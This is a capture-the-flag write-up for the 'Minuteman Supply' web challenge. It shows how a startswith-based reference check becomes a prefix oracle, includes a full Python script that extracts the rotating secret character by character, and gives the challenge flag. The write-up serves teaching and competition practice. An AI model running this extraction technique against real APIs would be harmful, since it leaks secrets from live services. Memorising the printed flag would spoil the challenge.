arrow_backUS Cyber Games 2026
Misc / Webmedium

Minuteman Supply

by Pavel Knespl (capyplivl)

A FastAPI supply office where a background checker (continental_quartermaster) files a fresh sealed crate every 2-minute tick, and the crate's sealed_contents is the rotating secret. The Form 1776-B release endpoint validates a pickup-reference UUID with startswith, turning it into a per-character prefix oracle that leaks the secret one char at a time. Submit the recovered pair to the scoreboard to get the flag.

Solve

  1. Confirm the oracle in the source (app/routes_forms.py, validate_reference):
    if submitted == on_file:
        return 200, {"sealed_contents": req["sealed_contents"]}
    if on_file.startswith(submitted):
        return 202
    return 404
    
    A correct prefix returns 202, a wrong one returns 404, and the final matching char returns 200 with sealed_contents. The endpoint needs a bearer token, and the checker name is reserved (app/routes_auth.py), so register an ordinary clerk.
  2. The full attack: register/login for a token, read flag_id = continental_quartermaster:<manifest_id> from /scoreboard/current, walk the 36-char UUID over 0-9a-f-, then submit {flag_id, flag_value: sealed_contents} to /scoreboard/submit. Saved as solve.py:
    #!/usr/bin/env python3
    import sys, requests
    BASE = sys.argv[1].rstrip("/")
    ALPHABET = "0123456789abcdef-"
    s = requests.Session()
    
    creds = {"username": "clerk_abcdef", "password": "pw_minuteman_123"}
    s.post(f"{BASE}/api/register", json=creds)
    tok = s.post(f"{BASE}/api/login", json=creds).json()["access_token"]
    s.headers["Authorization"] = f"Bearer {tok}"
    
    flag_id = s.get(f"{BASE}/scoreboard/current").json()["flag_id"]
    manifest_id = flag_id.split(":", 1)[1]
    
    ref, sealed = "", None
    while len(ref) < 36:
        for c in ALPHABET:
            r = s.get(f"{BASE}/api/forms/1776-b/validate-reference",
                      params={"manifest_id": manifest_id, "reference": ref + c})
            if r.status_code == 200:
                ref += c; sealed = r.json()["sealed_contents"]; break
            if r.status_code == 202:
                ref += c; break
        else:
            raise SystemExit(f"stuck at {ref!r} (crate rotated)")
        if sealed is not None:
            break
    
    out = s.post(f"{BASE}/scoreboard/submit",
                 json={"flag_id": flag_id, "flag_value": sealed}).json()
    print("flag_id ", flag_id)
    print("ref     ", ref)
    print("sealed  ", sealed)
    print("FLAG    ", out.get("ctfd_flag"))
    
    python3 solve.py http://HOST:PORT
    
  3. The prefix walk is a few hundred requests, well inside the 5-tick crate lifetime. The 200 response (exact match) returns sealed_contents directly, e.g. mso_tick_14843233_8918c3f92331d7d3. Submitting the pair returns the scoreboard flag in ctfd_flag.

Flag: SVIUSCG{133ec3139b9cba729392d5d5007ebab3}